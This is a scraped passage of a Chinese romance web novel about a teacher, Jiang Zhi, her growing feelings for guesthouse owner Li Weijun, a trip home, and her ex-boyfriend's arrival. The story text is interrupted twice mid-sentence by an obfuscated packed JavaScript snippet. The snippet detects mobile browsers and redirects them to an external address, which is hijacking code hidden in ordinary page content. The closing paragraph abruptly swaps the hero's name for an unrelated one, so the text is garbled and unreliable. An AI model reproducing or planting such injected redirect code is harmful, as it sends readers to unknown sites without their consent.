姜至降下窗户,“你也要拉伸一下吧,今天滑了那么多,还抱我滑了好几趟。” “这会儿想起来我累了?” 这笑容好像尼克狐尼克,姜至怎么也没想到有一天会把李惟钧和那只秒杀了迪士尼无数王子的狐狸联系在一起。 是因为他看她的眼神像尼克看朱迪的眼神一样深情吗? 姜至挥了挥手,耍赖道:“那也是你乐意!” 升起窗户,出租车载着她走远了,姜至看到李惟钧的身影越来越小,直到再也看不清楚,她摆正身子,一抬眼,才看到后视镜里的自己还在笑。 这也太夸张了吧! 她抿抿唇,敛起那种说不清道不明的开心,接着看李惟钧给她拍的视频,就在这时,有个同事也传了条视频给她: 【姜老师!你怎么不早说那是你男朋友!】 【我靠,他们滑雪场怎么还有这种业务呢????我来这么多次都不知道,这也太帅了吧!!!】 姜至点开,同事录下的是李惟钧公主抱她滑雪的视频,不得不说,李惟钧这身段确实太吸人眼球了,身板笔挺,宽肩长腿,穿着一身黑色滑雪服,显得整个人无比落拓,再搭配那套利落的滑雪动作,简直就是一个字:帅! 然而,再一看他怀里的她。 姜至狠狠闭了闭眼,她当时为什么不控制一下自己呢?嘴角简直都要笑裂了好吧! 18.夏至前的春夜(6) 夏至前的春夜(6) 有时候,姜至偶尔会觉得,命运早就给每个人的人生节点设置了该走的方向,执着于选其他的路肯定只会得到一个结果:失败。 她在考公考编这条路上从没成功过,却意外发现,自己好像是先天互联网圣体。 给郑阿姨在各个社交平台上申请的“织出盛夏”在她的帮助下,短短一个月涨了将近两万粉丝,数据最好的一条视频点赞破五万,郑阿姨店里的手工品差不多快要清空了,可以说是供不应求,还有人拿着图片私信来问能不能私人订制,郑阿姨这段时间数钱数到手软,每天喜眉笑眼,看见姜至更是乐得合不拢嘴。 除此之外,最让姜至觉得最不可置信的是,她把李惟钧抱着她滑雪的视频随手上传到自己来到西途记录日常的账号上,没想到意外“爆火”,点赞收藏已经破十万了,评论区看过去一水儿的“羡慕”,羡慕她有人抱,羡慕他们俩郎才女貌,羡慕她男朋友滑雪厉害,力气大……甚至连带着她在盛夏将至拍的其他视频数据也在慢慢涨。 形势喜人。 但这也太神奇了,她只是随手一传而已,没想到会收获这种热度。 无心插柳,柳却在一夜之间成了荫。 不仅如此,她发视频时带了滑雪场定位,李惟钧说这几天一直有女客人来问“滴滴代滑”的业务,滑雪场抓住关店前这波小热度,快速上新了“教练抱滑”新体验,所有教练员可以在力所能及的范围内自行接单,雪场收30%的抽成,同时趁热打铁,给隔壁飞跃跳伞基地也打了个广告。 李惟钧总跟姜至说:“你真成我店里的真人版财神爷了。” 这完全是意外之喜,姜至也没想给李惟钧挣了钱,她反倒比他这个老板还要开心,忍不住骄傲了,在他面前尾巴都要翘到天上去,“好好供着我吧你!” 他肘着下巴,歪着头看着她,说:“要不要再考虑下入股?” 姜至的尾巴慢慢收回来,和他对视着,心里盘算着数了数,这是他第几次让她入股了? 要是入股,她和盛夏将至,和李惟钧的羁绊就会变得比现在更深了。 这意味着她的离开不会再那么了无牵挂。 可是扪心自问,就算没有短视频这一出,她依然是舍不得李惟钧的。 作为民宿老板,他对来住店的客人都是能帮则帮,从不贪小便宜,该省省该花花,以前她出去玩住酒店住民宿,总是担心卫生问题,安全问题,害怕店里准备的东西不干净,但盛夏将至从来不会,李惟钧在这些事上从不会含糊吝啬,无论有没有人住,每间房定时打扫,床上用品定时清洗消毒,保证干净,所以民宿开了这么久从来没有差评。 跳出老板这个身份,他这个人情绪稳定,真诚朴实,在他面前,她整个人格外轻松,也很快乐,因为他很尊重她,不该问的从不多问,总是尽力满足她的要求。 李惟钧从不会让她感到不开心。 那么,她的舍不得,到底是作为老同学,好朋友的舍不得,还是作为喜欢的人的舍不得呢? 姜至一想到这个,总是心口怦怦,好像整个人站在天平中间,一端是她结束支教服务期后终将离开西途回到清潭,一端是为什么要想那么遥远?最重要的是抓住现在,现在的一切才是她能完全把握的东西。 可人总是贪婪的,既想要天平保持平衡,又想要得到最大的利益。 她推开李惟钧的脸,“不要诱惑我。” “原来你已经被诱惑到了啊。”他慢悠悠地抓住脸上的手腕。 姜至“嘶”了声,斜他一眼。 李惟钧牵着她的手腕,姜至感觉她的脉搏在他的指腹下鼓动着,她说:“入了股之后你要是赔钱怎么办?” 他说:“你鬼点子那么多,还能想不到办法?” “那我要是也给你赔钱了呢。” 李惟钧没有立刻回答,只是看着她,眼神传递出的温度格外炽热,宽厚的手掌稍稍使力,捏了捏她的手腕。 她没有拒绝。 李惟钧也就没有放开她的手,“不是还有你呢吗。” 姜至心里重重一跳,扑通,扑通,几秒后,晃晃手腕,盯着他们纠缠在一起的手,乐了,“你在这儿给我号脉呢?” “想把我赔给你啊?”她挣脱李惟钧,反客为主,抓住他的手,“奸商!怎么算你都是赚了!” 李惟钧也笑,笑意温和,目光明朗,“你在我就赚。” 五天时间过去,滑雪视频的数据还在涨,还有人在评论区问姜至是在哪间民宿住下的,有李惟钧的老顾客现身说是盛夏将至,顺带着还夸了一波帅气老板和店里的环境,服务,结果网友顺藤摸瓜,发现姜至滑雪视频的男主角和民宿老板是同一个人,便八卦问: 【这俩人是一对儿吗!老板和老板娘?】 老顾客回:【不知道啊!应该是吧,老板挺有分寸一男的,从来不跟女客人这么亲密的互动。】 于是乎,事情的走向就开始变了,大家都在评论区跟姜至说你就是老板娘啊!现在关注以后就是老粉了,老板娘能给老粉免单么!打个折给个优惠也行啊! 形势喜人,但又逼人。 姜至面红耳赤从评论区走出来,不知道李惟钧有没有看到这些评论,但这视频都这么火了,高越冬还整天在群里吵吵着最近民宿的订单爆满,预约都排到五一假期去了,而且还真有人打电话来问关注老板娘账号有没有优惠,他怎么可能没看到呢? 真要说起来,“老板娘”这个称号,他还是默认了的,也从没想过要解释。 她也没有解释的念头,或许一开始还有,但现在已经完全没有了。 她为什么没有呢? 乔映谣也一直问她这个问题。 姜至回答不出来,而是又想到那个天平,她站在中间,隐隐感觉秤砣要向“抓住现在”这一端倾斜了。 乔映谣说:“你早点儿承认我说的话吧姜至,你就是对他有意思,滑雪那个视频简直太明显了好吧,我看着觉得很有火花!” 李惟钧的诱惑力还真是太大了。 “李惟钧呢?那个视频里他看你的眼神真不假,”乔映谣使劲重复,“真的真的不假,你有没有按我说的试探他啊?” “还没有呢。” 他还用得着试探吗? 虽然很多次都是他先主动来牵她的手,但他每次都不好意思拉别的地方,从来都是很克制地,很礼貌地攥着她的手腕给她“号脉”,而且每次号脉的时候,他的耳朵红得像是要滴血,呼吸灼热到滚烫。 这样的李惟钧,还用得着试探吗? …… 话是这么说,姜至还是买了好几条漂亮的裙子—— 准备在西途旅游的时候拍照穿。 西部计划五月中旬笔试,笔试考题对她这个练了无数道公务员行测笔试题的人来说,一点都不难,但姜至依然不敢懈怠,每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169466|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个晚上下了班都要回民宿刷题。 现在还有不到两个月的时间就要高考,教育机构迎来考前最后一波培训热潮,姜至偶尔经过市场部的办公区,都能听到所有销售老师拿着一大摞电话号给家长打电话推销课程,也不知道校长从哪里搞来那么多家长手机号,因此,来试听报名的学生络绎不绝,姜至手里的排课量也随之增加,每天上五节一对一,一节课两个小时,早上八点上班,下班时间推迟到了晚上九点半,还得时不时跨城区去学生家里上课,于是一周的双休也没了。 这样高强度的上课安排持续了快一个月,姜至感觉整个人差点都要过去了,每天不间断地说那么多话很费精气神,下班回民宿后嗓子都是哑的,看着也没精打采。 一直到五一放假前,姜至一口气把自己这段时间攒的假也用上了,算上法定假期,一共休五天,第一天天在民宿结结实实睡了一整天,除了李惟钧叫她下楼吃饭,其他时间根本就不会从床上下来,4月30号,姜至没多睡懒觉,早早就起来收拾行李,李惟钧特意开车把她送上了回清潭的高铁。 姜至很喜欢睡觉,也非常能睡,这两天的补眠时间根本就不够她养精神,甚至李惟钧送她去高铁站的路上,姜至还是昏昏欲睡的。 李惟钧怕她睡着了不好叫醒,路上不住地跟她搭腔:“你这教培签到了几月?” 姜至嘟嘟囔囔地回:“六月底吧,七月份就要参加培训了。” “马上高考了,这段时间正是关键的时候,估计五六月份的课量还是那么多,你要不考虑考虑减减课量?虽然赚得不少,但也没必要把自己搞这么累啊。” 姜至没回话,可能快要睡着了。 “姜至。”李惟钧又叫了她一声。 姜至闭着眼跟他发脾气,“你好烦啊,李惟钧!” 李惟钧却笑了。 昨天叫她下楼吃饭没少挨她哼哼唧唧的骂,姜至那点小脾气估计全用到他身上了,但不叫也不行,她平常上课的时候就经常没胃口吃饭,所以整个人看上去没什么血色。 “我怎么又烦了啊。”李惟钧幽幽道:“你要不再忍忍?反正你马上就要上高铁了。” 姜至似乎被某个字眼戳中,唰一下把眼睁开了。 李惟钧嗤笑:“叫你起床比登天还难,我要是离你近点儿你就该一脚蹬我脸上了。” “……哪有那么夸张,我从来没有起床气好吧,是你总敲门,我都说了我会吃的,你还敲,搁谁谁不烦?” “你没起床气?”他不信。 姜至说:“不然你下回有本事把脸伸我前头!” “试试就试试。”李惟钧弯唇,转移了话题,“到站了。” 姜至还想反驳他来着,结果他来这么轻飘飘的一句话就把她顶回去了,其实……还是有些心虚的,李惟钧叫她起床时她语气确实算不上好。 李惟钧送她到进站口,“到清潭跟我说声。” 这下终于有了要回清潭的实感了,可她却完全没有想象当中那样开心,反倒夹杂着一些惆怅。短短两个月的时间,她对这个地方,对这些人早已在不知不觉间产生了浓厚的感情。 不知怎么,她突然想到几年后的某一天。 那时候李惟钧还会不会像今天一样来送她离开西途呢? 姜至无声点了点头,李惟钧把箱子塞她手里,却没着急退开,而是覆在她的手背上,用力握了握,轻声说:“姜至,我等你回来。” 19.夏至前的春夜(7) 夏至前的春夜(7) 姜至走了,拉着她的两个大行李箱,短暂地离开了西途。 在他说完那句“姜至,我等你回来”之后,她说:“那你要记得常给我发盛夏将至的情况哦,记得每天都要给我的郁金香浇水,应该快开了。” 正午明烈的光线照进来,李惟钧坐在驾驶座,影子斜斜打在副驾驶上,那里空落落的,他看到远处铁轨上的高铁列车疾驰而去,眨下眼的瞬间就消失在视线里,他很确定,心里也有什么东西也随着那趟列车一起离开了。 他掏出手机,点开姜至的微信,但一想到她才刚走,刚坐上车没几分钟,又想到她可能要补觉,最终还是把手机关了,启程回公司。 五一假期,公司也没什么人,李惟钧在办公室独自敲了会儿代码,等再回过神来,姜至已经到家了,发了条语音喊他:【李惟钧!我到家啦!】 听上去格外兴奋,格外快乐,还发来一张晚饭照片给他,很丰盛的一桌菜,问他今天民宿忙不忙。 旁边有她家人说话的声音,李惟钧打字回她:【我还没回民宿,在公司。】 姜至说:【放假了你还上班?】 他说:【这就回了,快吃饭吧。】 李惟钧把车开到盛夏将至门口,正好碰见照相馆的人来上门送照片,上次团建拍的合照被姜至修好送到了照相馆冲印,那家照相馆排单很满,冲印周期非常长,李惟钧都忘了还有这回事。 高越冬和赵理明正在一张张翻看照片,一边看一边乐,笑得直不起腰,郑阿姨却对自己的照片很满意,连连说:“这图修得真好,把我脸上褶子都弄浅了。” 高越冬凑过来说:“您本来就好看啊!咱们民宿的女性朋友一个比一个漂亮,小姜姐也好看,特上镜!” 他把照片递到李惟钧眼前,故意晃了晃,“可惜啊,小姜姐回家了,没能第一时间看到她的美照。” 李惟钧拿起他们的大合照,照片上他搂着她,姿态自然又亲昵,他们俩笑得都很开心。 高越冬闹够了,用夹子把所有照片全夹到了姜至弄出来的那块照片墙上,李惟钧环顾四周: 前台上的花是姜至在后院摘的,她走前还千叮咛万嘱咐,这一束还能再养一养,一定要等到蔫了再去摘新的。 餐桌上多了好几个手机支架,她习惯在吃晚饭的时候看台偶,看的时候还跟郑阿姨讨论,饭点时民宿总是很热闹。餐桌上面摆着的苹果橙子果盘她每天晚上备课时定时消灭,绝不会让水果隔夜,还有她买的冰箱贴,她亲手开辟出的照片墙…… 似乎哪里都是她存在的痕迹,她已经融入进他的生活中了。 李惟钧叹了口气,心里的缺口好像越来越大了。 尽管知道姜至还会回来的,但他还是没办法快速接受她不在身边的落寞,在决定让姜至住进盛夏将至之前,他就曾无数次告诉自己:要平静地接受她的来去。 但真到了这个时刻,那种预想之中的平静几乎全部被浓重的孤独取代,就好像没了她,他的生活会索然无味,他也会一直孤独下去。 李惟钧很少这样伤春悲秋,仅有的几次也都给了姜至。 他站到那面照片墙前,拍了张照片发给姜至,却在收起手机那瞬间,意外看到了一张照片。 是他的单人照。 他从未见过的单人照,并不是在团建那天拍下的。 拍摄时间应该是在傍晚,那个时刻的天空晚霞极其好看,整个滑雪场都被染成了浪漫的粉紫色,他的雪具护具还没摘,穿着黑色的滑雪服,刚刚摘下她的护目镜,西落的夕阳恰巧落在他的指尖上。 姜至的镜头利用错位,捕捉了这一刻。 扑通,扑通。 李惟钧的掌心扣住心脏,他的心跳忽然变得很快很快,速度慢慢和那趟载着姜至的列车同频,然后他和姜至一起下了高铁,一起拥抱父母家人,一起坐在家里的餐桌上,一起按下语音键叫他—— “李惟钧!我到家啦!” 心跳声随之消失,他的心脏已经完全飞到她身边了。 他突然想起有个晚上,姜至在餐桌上备课,备的是《诗经·关雎》。 她听的名师课里说:“这首诗有一个词很难写,但它却把思念的状态写得淋漓尽致,那个词就是‘寤寐’,真正喜欢一个人的状态是‘寤寐’,‘寤寐思服,辗转反侧’,也就是说,喜欢一个人会日日夜夜想念她,无论做什么都在想着她,但是这种想念是把痛苦留给自己,而把快乐留给爱人。” 但李惟钧觉得,这样说似乎也并不太准确,因为喜欢一个人,双方应该都是快乐的。 时间就这样一分一秒流逝,似乎过去很久,久到真正的傍晚来临,西途的天空变成如同那天一样浪漫绚烂的粉紫色,李惟钧摘下那张单人照,揣进口袋里。 他像个十七八岁的青涩少年,在咚咚作响的剧烈心跳声中,克制不住地笑起来,告诉姜至:“盛夏将至的合照送过来了,等你回来,一起看。” …… 五一假期第一天是高越冬顾店,他一进民宿的门就觉得很不对劲,以往的时候姜至要是休息不上课,总会拿着水壶在小院里浇花,她种了很多郁金香种子在花园里,每每看见他进来总会打声招呼说:“来啦。” 但是今天一进门,小院空无一人,也没人跟他打招呼了。 高越冬啧啧摇头,在有福同享里说:【小姜姐,你回家都没人给咱院里的花浇水了。】 姜至说:【@李惟钧我不是让你给我浇水吗!】 李惟钧出门瞥了高越冬一眼,“跟她说点儿好事,别老告状。” 同时回复姜至:【早浇了,他没看见。】 高越冬跑到他身边:“哥,你几点起的啊?” 李惟钧没理他。 他稀罕道:“你都有黑眼圈了!我从来没见你有过黑眼圈!小姜姐一走你魂儿都跟着走了吧哈哈哈!” 李惟钧还是没理他,前台的花有点蔫了,他把花束拿出来,准备再去后院摘点新的。 “你是不是喜欢小姜姐啊!”话说出口,高越冬就有点怂,但还是壮着胆子八卦,“我就说肯定是啊!你从她第一天来这儿就不对劲,不说别人了吧,咱俩认识那么久,我可太了解你了。” 李惟钧这才扭过头来看他。 他确实喜欢姜至,很久了。 但姜至喜欢他吗? 如果没有那张单人照的话,李惟钧或许会犹豫犹豫,但有了那张单人照,他就不再那么犹豫了。 高越冬盯着李惟钧的背影兀自摇头,哎……完了,他哥陷进去了,人家一走他都不愿说话了,天天抱着手机不撒手,也不知道是在跟谁噼里啪啦打字,望眼欲穿的劲儿跟别人看不懂一样,不就是在等姜至嘛! 呵!恋爱中的男人。 不对啊,他俩还没谈恋爱呢,怎么这个劲头就跟谈了一样? 这时,店里的客人陆陆续续下来了,也来了新入住的客人,高越冬忙着帮别人办延迟退房,头也不抬地说:“您在网上预订了吗?身份证给我一下。” 男人递给他身份证,问:“请问你们这儿有一个叫姜至的女生吗?” 高越冬一顿,看了眼他的身份证。 梁嘉西,男,清潭人。 高越冬抬头,是个挺俊朗的男人,他还没说话,从后院摘了一束新花的李惟钧替他答了:“她现在不在。” 梁嘉西朝他看去,愣了瞬,觉得眼前的男人好眼熟,“你是?” “我是这间民宿的老板。”李惟钧站进前台把花插进花瓶里,手劲儿一松才发现有几枝花的花茎被他捏扁了,一边挑出那几枝不好看的花修整花束,一边没什么表情地抬眼问:“你要住店?” “先住三天吧。” 高越冬说:“暂时还没空房,最早的一个住客明早才能退房。” 梁嘉西说:“我加钱,任何空房只要给我一间就行。” 李惟钧目光锐利,把他的身份证推回去:“抱歉,我们这儿没那种规矩,你要不到别的店看看?” “那行吧,”梁嘉西妥协地把身份证拿回来,“方便问下姜至去哪儿了吗?今天还回不回?我是她……朋友。” 高越冬直觉李惟钧的气场不对劲,那张脸臭的跟谁欠了他五百万似的,低头没敢说话。 梁嘉西掏出手机,把姜至的自媒体平台找出来,给李惟钧看评论区,“别误会,我们真的认识,我是看到评论才知道她住这儿。” 正说着,忽然停下,又翻到那条滑雪的视频看了眼,猛地想起来什么。 梁嘉西直愣愣看着眼前的男人,他却是波澜不惊,梁嘉西问:“李惟钧?你高中是清潭一中11班的吧。” 李惟钧也认得他,他永远不会忘记他。 姜至第一晚来民宿时,往垃圾桶里扔的那张一寸照上的男人就是他,他叫梁嘉西,是12班的体委,也是姜至的前男友。 李惟钧声线沉稳,答非所问地说:“我跟姜至三年都在一个班。” 梁嘉西的眼神猛然变了,他察觉到了危机,“姜至在哪儿?” 涌到喉头的话就这样不加思考地说了出来:“我是她前男友,我们谈了三年恋爱。” 两个男人的视线在空中碰撞,看上去静悄悄的。 高越冬清晰地看到有那么一瞬间,李惟钧攥紧了拳头。他恨不得找个地缝钻起来,但又舍不得这个修罗场,于是猫着腰,悄悄把手机竖起来。 * 姜至捧着手机玩了一天,刚跟李惟钧说完话,放下手机,任丽娟就见缝插针地来了句:“怎么?人来了魂儿没来?回家这么长时间老是抱着手机傻乐,乐什么呢?” “没有。”姜至娇嗔地回了声,嘴角却还是勾着的。 任丽娟懒得管她,她铁了心要去西途支教二话不说就去了,铁了心不回来还真就在那边扎了根,她没办法,说什么人家都不听,胳膊拧不过大腿,只好说服自己任由姜至去了,不过,现在唯一担心的是:“跟你男朋友聊天呢?那个梁嘉西?他是清潭本地的吧,挺好。” 姜至噌一下子坐直了,双眼微瞪:“你怎么知道?不对不对!我们早就分手了啊!” “怎么分手了?跟你聊天的不是他?” 姜至下意识把手机屏幕扣上,“先不说这个,你怎么知道我俩谈过?” 任丽娟哼了声,“你以为你瞒得多好?你俩逛街都让你爸看见了。” 姜至又坐回去,“反正我们俩已经分好久了,他是过客。” “说说吧,怎么分了?他家是清潭的吧。” 姜至“嗯”了声,毫不避讳跟任丽娟谈这些问题,她把抱枕架在身前,找了个舒服的位置靠上去,“就是不合适。” 任丽娟太了解姜至是什么想法了,“这还没到谈婚论嫁的时候呢,你的条件不要太过苛刻,要是按照你心里的那个标准找男朋友,那我估计这个世界上没有合适的。” 怎么没有嘛…… 姜至毫无预兆地想起李惟钧,她心口一跳,深呼了口气,说:“我真没苛刻,他就是做得不好啊。” 梁嘉西也是一中的学生,他在12班。 高二高三,姜至他们11班和12班一直都是兄弟班,共用一个教师组,时间一长,两个班的学生就熟了。 姜至其实也不知道梁嘉西是什么时候喜欢她的,某个高二晚自习在书包里收到了一封来自他的信,不知道是他让谁塞进她书包里的。 拆开那封信看完,姜至才知道梁嘉西对她有超乎正常同学关系 的其他想法,然而她第一反应是:惊讶。 她记得他们俩接触不太多,她也不知道他到底“欣赏”她什么地方,更不知道他是从什么时候开始的,她觉得这份“欣赏”太突然了,让她摸不着头脑,她对他也完全没有别的心思。 姜至没回信,而是直接当面跟他说了:这个阶段先不考虑别的,备战高考最重要。 本以为他会就此放弃的,因为他高三毕业就出国了,再见面,是大三那年的寒假同学聚会上,不知道谁叫了他来。 那是他们时隔多年后第一次见面。 那之后,梁嘉西就对她展开了猛烈的攻势,他当时还在国外读大学,只有逢年过节放假才能回来,但他从不缺席她的任何一个节日,而且只要一有空闲时间就飞来看她,落地后买一束花,在教室最后等她下课,偶尔有几次,累到睡着了打下课铃都不知道,她把他推醒,他迷迷糊糊睁开眼看见她就笑,然后再把手里捂热的花递给她。 当时他做的许多事情不得不承认确实很让人心动,总是不嫌麻烦用尽心思地给她制造浪漫,订了好多关于她的纪念日,诸如第一次牵手,第一次拥抱…… 跟他在一起是开心过的。 但慢慢的,在一起时间久了,姜至就觉得他的喜欢像一份提前设定好的程序,这套程序的最终目的是让他们俩的感情进度达到100%,他在这套程序中间设置了很多节点,到什么时间就做什么事,除了那些时间之外,她感受不到来自梁嘉西的任何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15169467|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关怀。 最明显的一件事就是,大四那年,她辗转多地参加考试,偶尔会因为订不到好的酒店而不高兴,跟他说这些事情其实就是想听到一些安慰或鼓励的,但梁嘉西很少安慰她,要是安慰也不会太走心,他从不关心她的前途,总是把“我可以养你啊”这句话挂在嘴边。 梁嘉西不是那种不会说甜言蜜语哄人的男人,刚谈恋爱时他哄她哄的得心应手。 其实姜至也觉得是她多想了,那段时间因为考试失利而焦虑,所以把自己的焦虑转移到了梁嘉西身上,对他太苛刻,但后来才发现,自己的直觉没错,她差点自己PUA自己。 男人都具有劣根性,就像歌词里说的,得不到的永远在骚动。等得到之后,自然就没有以前那么珍视了。 如果没有那场酒局,姜至或许会接着稀里糊涂把这段感情维持下去。 那个酒局上,梁嘉西和他圈子里的一些发小喝酒多了,其中一个人接到自己老婆的电话,却连接都不接,直接把手机甩给自己的下属让他去应付,还大言不惭地说:“这女人啊都是这样,每次男人一晚回家,就要打几百个电话来问什么时候回,跟催命似的,但是她们都不知道自己男人在外面在干大事业!” 姜至听得蹙眉,却实在没想到,梁嘉西也一同附和了。 干大事业? 在外面喝酒算大事业吗? 发小跟梁嘉西说:“你多自由啊,没结婚没人管。” 梁嘉西说:“我也快了,我爸我妈老催呢。” “你妈确实,”发小冲他竖大拇指,“从小我就害怕你妈,还是别跟她犟了。” “我又不像你们,被逼着结婚,我跟我女朋友感情好着呢,我妈也见过她了,等过几天我就上她家去见她父母,然后我们就订婚。” “你女朋友家里条件不错吧,父母都体制内,根正苗红,你妈肯定喜欢这种家庭出身的女人,咱们就该娶这种女人。” 梁嘉西不置可否。 “你女朋友是干什么的来着?今年就清大毕业了吧。要不让她上我们公司,我们正是需要高材生人才的时候!” “管那么多呢,那个破岗自己留着吧,我乐意养她。” “也对,女人生个孩子在家里相夫教子多好。” 梁嘉西跟他碰了个杯。 姜至站在门边,脑子里突然冒出一个念头:多戏剧化的一个情景啊。 乔映谣总是跟她吐槽,每次看追妻火葬场的小说,总有这种俗套的情节:女主角一般都是在偷听到男主角和他朋友说一些伤人的话时才下定决心分手。 但偏偏这种俗套的事就是发生在她身上了。 小说永远来源于生活。 她觉得很可笑。 原来在一起这么久,她从没了解过梁嘉西,或许是他太会藏,也是这个时候才明白,男人没有会不会安慰,只有想不想安慰。 有了这个苗头,姜至就顺藤摸瓜发现了很多梁嘉西没告诉过她的事,她接受不了任何感情之间的不坦诚,果断提了分手,很痛快,也并没有多么难过,因为答应和他在一起时,或许是“感动”大过“喜欢”。 梁嘉西纠缠了她很久,如果要问他到底喜不喜欢她,他肯定会说“是”,只不过他的喜欢在姜至看来并不是真正的喜欢,真正的喜欢是尊重对方的一切,而不是在她23岁就想着订婚,用家庭拴住她一辈子。 他们之间永远不存在追妻火葬场,姜至只会向前看。 “照你这样说,那你一定要找一个喜欢你大过你喜欢他的,但每个人都不是完美的,总会有些缺陷,你不能一棒子给人打死。”任丽娟的眸光往她手机上点了点:“你不能像在我跟你爸面前一样耍赖,得学着包容对方。” 姜至嗫嚅半天,心想她跟李惟钧耍过赖吗?兜兜转转半天才冒出一句:“你不反对我谈恋爱?” 任丽娟像听见什么笑话一样乐了,“这又不是高中,你都这么大了,不想谈就不谈,想谈我还能拦着你让你孤独终老?你又不能跟我们过一辈子,你喜欢就行,不要顾虑那么多。” “妈妈,”她钻到任丽娟怀里,“那你希望我找个什么样的?” “喜欢你的,尊重你的。” 姜至笑着挽住她的手。 “他是哪个地方的?西途的?” 姜至这会儿感觉到不好意思了,“还没有呢!” 任丽娟嗤笑,“谁信。不过我还是希望你找一个离清潭近点的。” 李惟钧……是清潭人吧,他爸爸不就清潭的? 手机又嗡嗡震动起来,姜至后悔没有买个防窥屏装上,在妈妈面前她真做不到跟李惟钧嬉皮笑脸聊天,结果一打开手机,是高越冬。 他传来一条视频,并配文案: 【报!!!他急了他急了!李惟钧急了!!】 看见视频里的两个人,姜至直接从沙发上弹了起来,也顾不上心里的惊讶,戴上耳机点开视频,两个男人面对面站着,看上去倒是平和。 高越冬说:【人在现场,剑拔弩张,刀光剑影,我钧哥的眼神唰唰唰往对方身上飞刀子,吓死了!】 梁嘉西在姜至身边遇到过几个她的追求者,作为男人,他不得不承认,有的男人很肤浅,对女人产生第一印象和感情的开始是看她的身材长相,但这些人很容易击败,目前为止,他从无败绩。 然而,在李惟钧面前,梁嘉西不得不提起满分的精神。 这个男人看上去沉稳持重,随性淡然,但眼神却异常锋利,总是充斥着压迫感,不好拿捏。 以至于,梁嘉西不自觉地慌了,“我在网上看到过你们滑雪的视频,但她总归会离开西途回到清潭的。” 高中她说过自己不喜欢寒冷的地方,她不怕热怕冷,李惟钧也知道西途太冷,留不住她。 想到姜至,李惟钧的眼神温和下来,他忽视了梁嘉西的挑衅,平静道:“你不是她,不应该替她做决定,任何人都不应该替她做决定。” 他直视着梁嘉西,眸光出奇的坚定:“她走还是留,我不会变。” 视频到这里结束。 姜至就这样戴着耳机,呆立在卧室门口,整具身体似乎要缓缓烧起来了,四肢百骸全是燥热,她感觉自己这辈子都不会再体验到这种躁动的感觉了。 什么感觉呢?完全被尊重,被呵护,被珍视的感觉。 隔了很久,她把视频最后那一段来回听了无数遍,正躺在床上打滚时,李惟钧拍了小院的花园发给她:【姜至,郁金香开花了。】 20.夏至前的春夜(8) 夏至前的春夜(8) 晨起,姜至习惯性伸手去拉窗帘,想要看会儿碧绿草原养养眼睛,但刚拽住窗帘布就反应过来,这里不是西途,而是清潭。 她不在盛夏将至,楼下也没有李惟钧。 他这会儿在干什么呢? “几点了?” 旁边一道慵懒的女声传来,姜至转头,“七点半,我吵醒你了?” 昨晚两个女孩子在床上聊天聊到深夜,到现在满打满算才睡了五个小时,乔映谣打了个长长的哈欠,一边打一边含糊不清道:“没有,你干嘛起这么早?再睡会儿嘛。” 姜至下了床,“你再睡会儿吧,我收拾收拾衣服。” “你不是中午十点的票吗,还早啊。” “我改签了,改了八点五十那一趟。” 闻言,乔映谣一个鲤鱼打挺坐起来,连连啧声,一个劲儿撇着嘴看她,“你什么时候改的?完蛋咯!有人要坠入爱河啦!” “不对,是已经坠入爱河啦!” 乔映谣昨晚劝了姜至很久,劝她不要想太多太远,不要因为担心未来的事却把好姻缘丢了,更不要因为她之前那一句开玩笑的“露水情缘”而发愁,喜欢一个人就要赶紧抓住,尤其像李惟钧这样的,过了这村就没这店了。 对啊,那还犹豫什么呢,仅仅分开这么两天满脑子就都是他了,一闲下来就忍不住想他,想盛夏将至,她明白自己这次对李惟钧是认真的,不是闹着玩儿,就算结束服务期后她会离开,但那天离现在还远不是吗?未来会怎么样谁都不知道,更何况,她连未来何去何从都还没确定。 而且李惟钧都说了,她走还是留,他不会变。 无论什么时候想到这句话,她的平静的内心和思绪都会变得溃不成军。 姜至头也不抬地咧嘴笑了,手上收拾衣服的动作加快,有点归心似箭的意味冒了出来,还没回话,任丽娟敲了敲她们的房门,然后推门进来,“你俩醒了?正好出来吃早饭。” 又一瞧姜至在收拾衣服,说:“不用着急收拾,待会儿让你爸开车送你,半小时就到高铁站了。” “妈妈,”姜至抿抿唇,观察着她的表情,“我改签到八点多了。” 任丽娟懵了瞬,转身回到餐桌前坐下,好久没说话,直到早饭吃完,姜至提着箱子进了高铁站要走,她才没忍住白了姜至一眼,“好不容易回来一趟,跟我连话都没说几句就要走?” 姜至连忙上前搂住她,其实也有很多舍不得,“这不是已经聊了两天了吗!回去之后我每晚都给你打视频。” “也不知道西途到底有谁在啊!”任丽娟意有所指,表情说不上轻松。 事情八字还没一撇呢,姜至暂时不太想多说,而且她经历过一段失败的感情,对待下一段只想慎重再慎重,昨晚跟乔映谣聊天,她已经完全确定了自己对李惟钧是有好感的,甚至这种好感在看到高越冬发给她的那段视频后,已经彻底变成了真正的喜欢。 她很喜欢李惟钧。 意识到这一点之后,姜至感到非常开心,隐隐约约也有些期待,她决心抛下内心所有踌躇犹豫,抓住当下,任凭自己顺一次风。 想了想,姜至还是没跟任丽娟多说什么,只告诉她:“我在西途种的郁金香开花了。” 开花了,但李惟钧却没有给她拍照片。 勾引她回去呢。 没想到啊没想到,谭迎川在她面前也有这么“心眼儿多”的时候,他在她面前一直都是实心眼,很听她的话,她说什么就是什么,从来都不会反驳她什么,包括高中。 